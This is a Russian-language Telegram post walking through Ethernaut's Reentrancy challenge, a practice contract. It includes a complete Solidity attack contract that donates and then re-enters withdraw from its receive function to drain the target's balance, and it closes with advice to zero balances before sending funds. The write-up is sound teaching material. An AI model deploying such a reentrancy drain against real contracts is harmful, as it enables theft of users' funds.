TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.47K subscribers
Post #394 183
Ethernaut. Задача 10. Reentrancy

В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу

В чем суть?

С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.

Опять же привожу пример кода, который сработал у меня:

contract Hack {
   
    uint constant BID = 0.1 ether;
    Reentrance hack;

    constructor(address payable _hack) {
        hack = Reentrance(_hack);
    }

    function donateTo() external payable{
      address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
    }

    function attack() public {
      address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
    }

    receive() external payable {
        if(address(hack).balance >= BID) {
            attack();
        }
    }
}

В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.

Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.


#ethernaut
  • 👍 2
More from @solidityset
  1. Oct 8, 2026Промо видео для SaaS и других ваших проектов Хочу поделить с вами одним из своих открытий…
  2. Oct 8, 2026video post
  3. Oct 2, 2026Вторая сложность — как доказать, что установилось именно опубликованное. В первом варианте…
  4. Oct 2, 2026Задача с полуоткрытым кодом На днях, в процессе создания одного приложения, столкнулся с и…
  5. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  6. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →